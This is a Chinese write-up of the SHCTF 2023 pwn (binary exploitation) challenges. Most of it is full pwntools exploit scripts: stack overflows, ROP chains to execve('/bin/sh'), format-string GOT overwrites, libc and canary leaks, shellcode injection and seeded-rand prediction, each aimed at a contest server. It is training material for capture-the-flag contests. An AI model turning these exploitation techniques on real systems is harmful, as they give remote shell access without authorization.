[SHCTF 2023 校外赛道] pwn

news2024/12/23 12:48:16

有19道题这么多,不过基本是入门题,都是在骗新生,看这么容易快来PWN吧!

week1

四则计算器

这里用危险函数gets读入有个溢出.而且PIE也没开,地址是固定的.而且有后门.直接溢出到ret写上后门即可.

from pwn import *

p = remote('112.6.51.212', 31473)
context(arch='amd64', log_level='debug')

p.sendlineafter(b'--->', b'\x00'*50 + flat(0, 0x4015e4))
p.sendlineafter(b"If you wanna reuse plz input 1\n", b'0')
p.sendline(b'cat flag')

p.interactive()

猜数游戏

调用了随机数函数,用时间置种子.由于前后台都与标准时钟同步,所以可以在本地得到这个时间然后用随机数生成相同的数字.

这里没有给libc,但rand这个函数在各个版本上没有什么变化,随便找一个就能用.另外有个坑:32位随机数大多数是11位10进制数,1开头,但这题只能输入10位.当随机数为10位时才能成功.

from pwn import *

#p = process('./guess')
p = remote('112.6.51.212', 31904)
context(arch='amd64', log_level='debug')

from ctypes import *
clibc = cdll.LoadLibrary("/home/kali/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
clibc.srand(clibc.time(0))
v =clibc.rand()
print(v)

p.sendlineafter(b'how many digit you think about this number?\n', b'11 ')
p.sendline(str(v).encode()+b'\x00')  #当长度不够11位时可成功

p.interactive()

 

hard nc

略,连上去随便找,练习linux命令

rop chain

栈上只有32,但可读入0x300,而且从代码里能找出所有ROP,直接整链就行了

from pwn import *

#p = process('./simplerop')
p = remote('112.6.51.212', 31807)
context(arch='amd64', log_level='debug')

#gdb.attach(p, 'b*0x401852\nc')

pop_rax = 0x0000000000419a1c # pop rax ; ret
pop_rdi = 0x0000000000401d1d # pop rdi ; ret
pop_rsi = 0x000000000040a30d # pop rsi ; ret
pop_rdx = 0x0000000000401858 # pop rdx ; ret
pop_rcx = 0x000000000040185a # pop rcx ; ret
leave_ret = 0x401852 
bss       = 0x49ff00
syscall   = 0x451c05  #syscall ret

pay = b'\x00'*0x20 + flat(bss, pop_rdi, 0, pop_rsi, bss, pop_rdx, 8, pop_rax, 0, syscall, pop_rdi, bss, pop_rsi,0, pop_rdx,0, pop_rax, 59, syscall)
p.sendafter(b':', pay.ljust(768, b'\x00'))

p.send(b'/bin/sh\x00')

p.interactive()

 

口算题

没有附件,远程就是些口算题,但是需要写程序的时候转换*和/

from pwn import *

p = remote('112.6.51.212', 31529)
context(arch='amd64', log_level='debug')

p.sendlineafter(b'...',b'')

while True:
    p.recvline()
    v = p.recvline()[:-3]
    print(v)
    v = v.replace(b'\xc3\x97', b'*').replace(b'\xc3\xb7', b'/')
    r = eval(v)
    p.sendline(str(r).encode())
    p.recvline()

p.interactive()

baby stack

还是栈溢出,在vuln有个溢出,前边有个hint 是说bsh = '$0',这里$0和/bin/sh是一样的

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax

  setbuf(_bss_start, 0LL);
  setbuf(stderr, 0LL);
  setbuf(stdin, 0LL);
  v3 = strlen(hello);
  write(1, hello, v3);
  system("echo Let me see how can you pwn it\n");
  vuln();
  return 0;
}
ssize_t vuln()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  hint();
  return read(0, buf, 0x100uLL);
}
void hint()
{
  bsh = (__int64)&unk_400858;
}

可以直接system($0)也可以用传统方法先泄露再geshell

from pwn import *

#p = process('./babystack')
p = remote('112.6.51.212', 32089)
context(arch='amd64', log_level='debug')

elf = ELF('./babystack')
pop_rdi = 0x0000000000400833 # pop rdi ; ret
pop_rsi = 0x0000000000400831 # pop rsi ; pop r15 ; ret
bss = 0x601f20

#gdb.attach(p, 'b*0x400740\nc')
pay = b'\x00'*0x20 + flat(bss, pop_rdi,1, pop_rsi, elf.got['system'], 0, elf.plt['write'], 0x400718)
p.sendafter(b'it\n', pay.ljust(0x100, b'\x00'))
system = u64(p.recv(8)) 
libc_addr = system - 0x453a0
bin_sh = libc_addr + 0x18ce57
print(f"{ libc_addr = :x}")

pay = b'\x00'*0x20 + flat(bss, pop_rdi,bin_sh, pop_rsi, 0, 0, system, 0x400718)
p.send(pay)

p.interactive()

 

show show way

读入s然后比较y,p相等.y在s后边直接向后写覆盖y即可.

int vuln()
{
  gets(&s);
  if ( strcmp(y, p) )
  {
    puts("you lose the game");
    exit(0);
  }
  return getflag();
}
from pwn import *

#p = process('./babystack')
p = remote('112.6.51.212', 32467)
context(arch='amd64', log_level='debug')

p.sendlineafter(b"Let's try\n", b'A'*0x40+b'showshowway\x00')

p.interactive()

 

pkmon

可以输入一个数作为偏移,然后往这个地址里写数据.可以直接往got[puts]写入get_flag

__int64 vuln()
{
  int v1; // [rsp+Ch] [rbp-4h] BYREF

  puts("Congratulations on becoming a Pokemon Master");
  puts("Now come up with a name for your Pokemon");
  __isoc99_scanf("%d", &v1);
  return __isoc99_scanf("%8s", 8 * v1 + 0x6010A0LL);
}

week2

easy_shellcode

通过栈上的值写0x10在输出时带出栈地址,并且栈可执行.输入shellcode然后在ret处写个跳转

from pwn import *

p = remote('112.6.51.212', 31855)
context(arch='amd64', log_level='debug')

p.sendafter(b"What's your name?\n", b'A'*0x10)
p.recvuntil(b'A'*0x10)
stack = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x80
print(f"{ stack = :x}")

p.sendafter(b"please input your strong\n", asm(shellcraft.sh()).ljust(0x78,b'\x00')+ p64(stack))

p.sendline(b"cat flag")
p.interactive()

baby rop

32位溢出用ROP_gadget --ropchain得到chain然后缩一下

from pwn import *

from struct import pack

# Padding goes here
p = b''

p += pack('<I', 0x0804993d) # pop edx ; ret
p += pack('<I', 0x080e4e80) # @ .data
p += pack('<I', 0x080aa06a) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080537da) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0804993d) # pop edx ; ret
p += pack('<I', 0x080e4e84) # @ .data + 4
p += pack('<I', 0x080aa06a) # pop eax ; ret
p += b'/sh\x00'
p += pack('<I', 0x080537da) # mov dword ptr [edx], eax ; ret

p += pack('<I', 0x0804901e) # pop ebx ; ret
p += pack('<I', 0x080e4e80) # @ .data
p += pack('<I', 0x0804993f) # pop ecx ; ret
p += pack('<I', 0x080e4e88) # @ .data + 8
p += pack('<I', 0x0804993d) # pop edx ; ret
p += pack('<I', 0x080e4e88) # @ .data + 8

p += pack('<I', 0x080aa06a) # pop eax ; ret
p += p32(11)
p += pack('<I', 0x08049b62) # int 0x80

#io = process('./simplerop32')
io = remote('112.6.51.212', 31994)

context(arch='i386', log_level='debug')

#gdb.attach(io, "b*0x804992e\nc")

io.sendafter(b"Now, please enter something", b'\x00'*0x20 + p)

io.interactive()

baby rop2

64位的情况

from pwn import *
from struct import pack

# Padding goes here
p = b''

p += pack('<Q', 0x000000000040a30d) # pop rsi ; ret
p += pack('<Q', 0x000000000049d0c0) # @ .data
p += pack('<Q', 0x0000000000419a1c) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000041ac41) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a30d) # pop rsi ; ret
p += pack('<Q', 0x000000000049d0c8) # @ .data + 8
p += pack('<Q', 0x0000000000417e25) # xor rax, rax ; ret
p += pack('<Q', 0x000000000041ac41) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401d1d) # pop rdi ; ret
p += pack('<Q', 0x000000000049d0c0) # @ .data
p += pack('<Q', 0x000000000040a30d) # pop rsi ; ret
p += pack('<Q', 0x000000000049d0c8) # @ .data + 8
p += pack('<Q', 0x0000000000401858) # pop rdx ; ret
p += pack('<Q', 0x000000000049d0c8) # @ .data + 8
p += pack('<Q', 0x0000000000419a1c) # pop rax ; ret
p += p64(59)
p += pack('<Q', 0x0000000000401243) # syscall

#io = process('./simplerop64')
io = remote('112.6.51.212', 32322)

context(arch='amd64', log_level='debug')

#gdb.attach(io, "b*0x401852\nc")

io.sendafter(b"Now, please enter something", b'\x00'*0x28 + p)

io.interactive()

string

格式化字符串漏洞.而且次数不限.先泄露libc再改got[atoi]为system输入/bin/sh

from pwn import *

#p = process('./pwn')
p = remote('112.6.51.212', 32427)
context(arch='amd64', log_level='debug')

elf = ELF('./pwn')
libc = ELF('./libc.so.6')

#gdb.attach(p, "b*0x4012b5\nc")

p.sendlineafter(b"Input your choice:\n", b'1')
p.sendlineafter(b"Input your message:\n", b'%43$p')
libc.address = int(p.recvline(), 16) - 243 - libc.sym['__libc_start_main']
print(f"{ libc.address = :x}")

one = libc.address + 0xe3afe #0xe3b01  0xe3b04
p.sendlineafter(b"Input your choice:\n", b'1')
p.sendlineafter(b"Input your message:\n", fmtstr_payload(6, {elf.got['atoi']: libc.sym['system']}))

p.sendlineafter(b"Input your choice:\n", b'/bin/sh\x00')
    

p.interactive()

 

原始人启动

有个检查输入串,但仅查一部分,用;号绕过即可.

from pwn import *

#p = process('./Genshin')
p = remote('112.6.51.212', 32590)
context(arch='amd64', log_level='debug')

msg = b'yuanshen,qidong!;/bin/sh'
v = [u32(msg[i:i+4]) for i in range(0, len(msg),4)] + [0]*10

p.recvline()
for i in v:
    p.sendline(str(i).encode())

p.recvline()

p.interactive()

 

要买此东西吗

32位有printf可得到想要的地址,有溢出,唯一难点在于加了canary,需要先泄露canary

from pwn import *

#p = process('./pwn2')
p = remote('112.6.51.212', 32696)
context(arch='i386', log_level='debug')

elf = ELF('./pwn2')
libc = ELF('./libc.so.6')
#libc = ELF('/usr/lib/i386-linux-gnu/libc.so.6')

#gdb.attach(p, "b*0x80494c5\nc")

p.sendlineafter(b"Your choice:\n", b'1')
p.sendlineafter(b"and you can get a gift\n", b'%15$p')
canary = int(p.recvline(), 16)
print(f"{ canary = :x}")

p.sendlineafter(b"Your choice:\n", b'1')
p.sendlineafter(b"and you can get a gift\n", b'%19$p')
libc.address = int(p.recvline(), 16) - 245 - libc.sym['__libc_start_main']
print(f"{ libc.address = :x}")

ret = 0x8049479
p.sendlineafter(b"Your choice:\n", b'2')
p.sendafter(b"and you can get the power\n", b'\x00'*0x20 + flat(canary, 0,0,0, ret, libc.sym['system'],0, 0x804a03f))

p.interactive()

 

week3

call call world

输入前两个给v2后边给nptr再后边给v4,后边这段参数看汇编,是执行int 0x80

 

from pwn import *
from base64 import b64encode 

#p = process('./bac')
p = remote('112.6.51.212', 30335)
context(arch='i386', log_level='debug')

#gdb.attach(p, "b*0x8049556\nc")

elf = ELF('./bac')

#fff() 
p.sendlineafter(b'shell??\n', b'\x00'*0x48 + flat(0, elf.sym['backd00r']))

p.sendlineafter(b'!', b64encode(b'110/bin/sh\x00')) #ecx:2, eax:1 ebx->/bin/sh 

p.interactive()

 

transfer

数据被读到bss上,然后有个很小的溢出只有8字节,不能写ROP只能写个跳转.

先把ROP传上去,再移栈跳到ROP执行

 

from pwn import *
from base64 import b64encode 

#p = process('./transfer')
p = remote('112.6.51.212', 30360)
context(arch='amd64', log_level='debug')

#gdb.attach(p, "b*0x4012a7\nc")

elf = ELF('./transfer')

pop_rdi = 0x0000000000401313 # pop rdi ; ret
pop_rsi = 0x0000000000401311 # pop rsi ; pop r15 ; ret
leave_ret = 0x4012a7
str1 = 0x405160
p.sendafter(b'haha,welcome!\n', flat(b'/bin/sh\x00', pop_rdi, str1, 0x40122e))
p.sendafter(b"input:\n", flat(0, str1, leave_ret))

p.interactive()

After math

先过两关,然后有溢出.

第1关是猜数字,跟前边的随机数一样,用ctype库

 

第2关需要一个负数绕过

 

然后后边可以 printf泄露和改got表 

from pwn import *
from ctypes import *

#p = process('./aftermath')
context(arch='amd64', log_level='debug')

elf = ELF('./aftermath')

clibc = cdll.LoadLibrary("./libc.so.6")

while True:
    p = remote('112.6.51.212', 30737)
    #1
    #p.recvline()
    clibc.srand(clibc.time(0))  #时间同步
    v3 = clibc.rand()
    v2 = ((v3 + 1919810)&0xffffffff)^0x1bf52
    p.sendlineafter(b"Let's see how to pass the randomness and the unknown\n",str(v2).encode())
    if b'not' in p.recvline():
        p.close()
        continue
    break

#2
p.sendlineafter(b"Input v1:", b'0')
p.sendlineafter(b"Input v2:", b'4294967196') #-100&0xffffffff

#gdb.attach(p, "b*0x401541\nc")

#3 printf
p.recvuntil(b"If you pass, I will give you shell as a gift\n")
p.sendline(b"%43$p,%39$p,%40$p,%41$p")
libc_address = int(p.recvuntil(b',', drop=True),16) - 0x29d90 # 2.35  0x2718a  #libc版本不详
print(f"{ libc_address = :x}")

p.sendline(fmtstr_payload(6, {elf.got['printf']: libc_address + 0x50d60})) #0x4c330

p.sendline(b'/bin/sh')

p.interactive()

start your PWN

传统的溢出,泄露+getshell两回合

from pwn import *

#p = process('./start')
p = remote('112.6.51.212', 30755)
context(arch='amd64', log_level='debug')

#gdb.attach(p, "b*0x400697\nc")

elf = ELF('./start')
pop_rdi = 0x0000000000400773 # pop rdi ; ret
pop_rsi = 0x0000000000400771 # pop rsi ; pop r15 ; ret

p.sendafter(b"Please:\n", b'\x00'*0x100 + flat(0x601f00, pop_rdi, 1, pop_rsi, elf.got['write'],1, elf.plt['write'], pop_rsi, elf.got['write']+4, 1, elf.plt['write'], elf.sym['main']))
p.recv(4)
a = p.recv(4)+p.recv(4)
print(a)
libc_base = u64(a) - 0x10e060 #0xf8180
print( f"{ libc_base = :x}" )

system = libc_base + 0x52290 #0x4c330
bin_sh = libc_base + 0x1b45bd #0x196031

p.sendafter(b"Please:\n", b'\x00'*0x100 + flat(0x601f00, pop_rdi, bin_sh, system))

p.interactive()

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1151011.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

【手机端远程连接服务器】安装和配置cpolar+JuiceSSH：实现手机端远程连接服务器

【手机端远程连接服务器】安装和配置cpolar+JuiceSSH：实现手机端远程连接服务器

文章目录 1. Linux安装cpolar2. 创建公网SSH连接地址3. JuiceSSH公网远程连接4. 固定连接SSH公网地址5. SSH固定地址连接测试 处于内网的虚拟机如何被外网访问呢?如何手机就能访问虚拟机呢? cpolarJuiceSSH 实现手机端远程连接Linux虚拟机(内网穿透,手机端连接Linux虚拟机) …
阅读更多...
Redis（10）| I/O多路复用（mutiplexing）

Redis（10）| I/O多路复用（mutiplexing）

上文select/epoll 在上文《Redis&#xff08;09&#xff09;| Reactor模式》 思考问题可以使用I/O多路复用技术解决多多客户端TCP连接问题&#xff0c;同时也提到为了解决最早期的UNIX系统select调用存在的四个问题。 select(int nfds, fd_set *r, fd_set *w, fd_set *e, stru…
阅读更多...
数据库拓展语句，约束方式和用户管理

数据库拓展语句，约束方式和用户管理

拓展语句 删除表内的所有数据 delete truncate drop 1.delete from test&#xff1b; delete删除是一行一行删除&#xff0c;如果表中有自增长列&#xff0c;清空所有记录之后&#xff0c;再次添加内容&#xff0c;会从原来的记录之后继续自增写入 2.truncate table test;…
阅读更多...
docker 安装minio,访问地址进不去

docker 安装minio,访问地址进不去

文章目录 黑马头条P37docker安装minio文图一、启动后页面一直是加载状态进不去 黑马头条P37docker安装minio文图 一、启动后页面一直是加载状态进不去 通过docker logs -f (容器id)查看日志 通过这个报错信息&#xff0c;得知最近minio 升级&#xff0c;一些启动信息和之前不…
阅读更多...
全球运营的游戏公司，实现存储就近访问、提升访问安全和效率

全球运营的游戏公司，实现存储就近访问、提升访问安全和效率

在上一篇文章&#xff08;永远在线的网游公司&#xff0c;如何在线替换开源存储&#xff1f; &#xff09;中&#xff0c;我们介绍了 XSKY星辰天合如何协助游戏公司解决在存储系统建设中遇到的挑战&#xff0c;这家游戏公司需要一直在线&#xff0c;以便为客户提供服务。 通过…
阅读更多...
sass相关

sass相关

1、代码简化 1.1、简化媒介查询 mixin flex{display: flex;justify-content: center;align-items: center; } .header{width: 100%;include flex;//可以这样引用 }//加入参数 mixin flex($layout){display: flex;justify-content: $layout;align-items: $layout; } .header{w…
阅读更多...
行情分析——加密货币市场大盘走势(10.30)

行情分析——加密货币市场大盘走势(10.30)

目前大饼开始了震荡盘整&#xff0c;可以在这个位置33000-35000短线逢低做多。大饼依然以多头为主&#xff0c;少做空单。目前震荡行情&#xff0c;一直也跌不下去&#xff0c;等待行情到来即可。 目前开始震荡&#xff0c;也是修复指标&#xff0c;现在大饼的价格远离EMA21均线…
阅读更多...
【斗破年番】暗杀行动开始，萧炎斩杀负伤，彩鳞心疼霸气回击

【斗破年番】暗杀行动开始，萧炎斩杀负伤，彩鳞心疼霸气回击

【侵权联系删除】【文/郑尔巴金】 深度爆料&#xff0c;《斗破苍穹》年番第69集刚刚更新了&#xff01;在这集剧情中&#xff0c;萧炎和美杜莎筹划了一场暗杀行动&#xff0c;以保障炎盟的安全。他们根据小医仙提供的地图&#xff0c;分别负责击杀慕兰三老和雁落天这两位敌方强…
阅读更多...
云服务器安装Hbase

云服务器安装Hbase

文章目录 1. HBase安装部署2.HBase服务的启动3.HBase部署高可用&#xff08;可选&#xff09;4. HBase整合Phoenix4.1 安装Phoenix4.2 **Phoenix Shell** 操作4.3 表的映射4.4 Phoenix二级索引4.4.1 全局索引&#xff08;global index&#xff09;4.4.2 包含索引(covered index…
阅读更多...
SEW MOVIPRO应用模块AMA0801

SEW MOVIPRO应用模块AMA0801

应用模块AMA0801特点 1)、点动模式2)、试教模式3)、寻参模式4)、定位模式5)、同步模式 其他额外的功能(只要通过端子控制时有效) 1)、平滑过渡功能2)、位置开关功能3)、自动调整功能4)、位置修正功能 基本模式&#xff1a; 点动模式 点动控制电机正、反转运行。 如果…
阅读更多...
udp协议/tcp协议

udp协议/tcp协议

udp和tcp作为传输层的两大重要协议&#xff0c;是众多学习网络编程者不可错过的学习内容&#xff0c;协议的概念想必不用再过多解释&#xff0c;即程序员和程序员之间进行网络通讯时的标准&#xff0c;那么经历了应用层&#xff0c;也就是肉眼能看到、用户能直接操作的层&#…
阅读更多...
Spring Cloud之ElasticSearch的学习【详细】

Spring Cloud之ElasticSearch的学习【详细】

目录 ElasticSearch 正向索引与倒排索引 数据库与elasticsearch概念对比 安装ES、Kibana与分词器 分词器作用 自定义字典 拓展词库 禁用词库 索引库操作 Mapping属性 创建索引库 查询索引库 删除索引库 修改索引库 文档操作 新增文档 查找文档 修改文档 全量…
阅读更多...
安卓平板-学习平板、三防工业平板安卓主板方案

安卓平板-学习平板、三防工业平板安卓主板方案

近年来&#xff0c; 生活和工业产品的需求呈爆发式增长&#xff0c;学习平板、工业平板和智能设备的出货量正处于快速增长的阶段。尤其是安卓平板智能设备&#xff0c;其增长势头依然迅猛。根据预测&#xff0c;到2024年&#xff0c;中国平板设备的总出货量将会进一步增长。 安…
阅读更多...
顺序表(1)

顺序表(1)

目录 线性表 顺序表Sequential List 静态顺序表 动态顺序表 主函数Test.c test1 test2 test3 test4 头文件&函数声明SeqList.h 头文件 函数声明 函数实现SeqList.c 初始化SLInit 释放销毁SLDestroy 扩容SLCheckCapacity 打印SLPrint 尾插SLPushBack …
阅读更多...
maya中文显示字体改英文

maya中文显示字体改英文

将原来zh_CN 改为en-US
阅读更多...
“智能科技·链接未来”2024中国国际人工智能产品展览会·智博会

“智能科技·链接未来”2024中国国际人工智能产品展览会·智博会

2024年中国国际人工智能产品展览会&#xff08;简称世亚智博会&#xff09;将于3月份在上海举办&#xff0c;6月份在北京举办。本届展会以“智能科技链接未来”为主题&#xff0c;将集中展示全球前沿的人工智能技术和应用&#xff0c;以及人工智能在各个领域的新成果。 本届展会…
阅读更多...
Unity 粒子特效-第二集-烟雾特效

Unity 粒子特效-第二集-烟雾特效

一、烟雾特效预览 二、制作原理 资源在绑定资源里&#xff0c;我得审核通过以后才能改成免费&#xff0c;如果着急要&#xff0c;可以评论区发一下&#xff0c;我给你们发网盘 1.这个是序列帧图片粒子特效一起组合而成的 这就是一个单独整个的烟雾动画 如下&#xff0c;是这…
阅读更多...
Google Play上的Android广告软件应用程序积累了200万次安装

Google Play上的Android广告软件应用程序积累了200万次安装

大家好&#xff0c;今天我们要聊一聊Google Play上的一个热门话题——Android广告软件应用程序。最近&#xff0c;一些恶意应用程序在Google Play上累积了200万次的安装量&#xff0c;给用户推送了讨厌的广告&#xff0c;同时又隐藏了它们在受感染设备上的存在。 根据Doctor W…
阅读更多...
保护生产中 Node.js 应用程序安全的 15 项最佳实践

保护生产中 Node.js 应用程序安全的 15 项最佳实践

在后端开发方面&#xff0c;Node.js 是开发人员最喜欢的技术之一。它的受欢迎程度不断上升&#xff0c;现已成为在线攻击的主要目标之一。这就是为什么保护 Node.js 免受漏洞和威胁至关重要。 在本指南中&#xff0c;您将看到为生产设计安全 Node.js 应用程序架构的 15 种最佳…
阅读更多...
安防视频监控平台EasyCVR前端解码与后端解码的区别介绍

安防视频监控平台EasyCVR前端解码与后端解码的区别介绍

视频监控平台/视频存储/视频分析平台EasyCVR基于云边端一体化管理&#xff0c;支持多类型设备、多协议方式接入&#xff0c;具体包括&#xff1a;国标GB28181协议、RTMP、RTSP/Onvif、海康Ehome&#xff0c;以及海康SDK、大华SDK、华为SDK、宇视SDK、乐橙SDK、萤石SDK等&#x…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023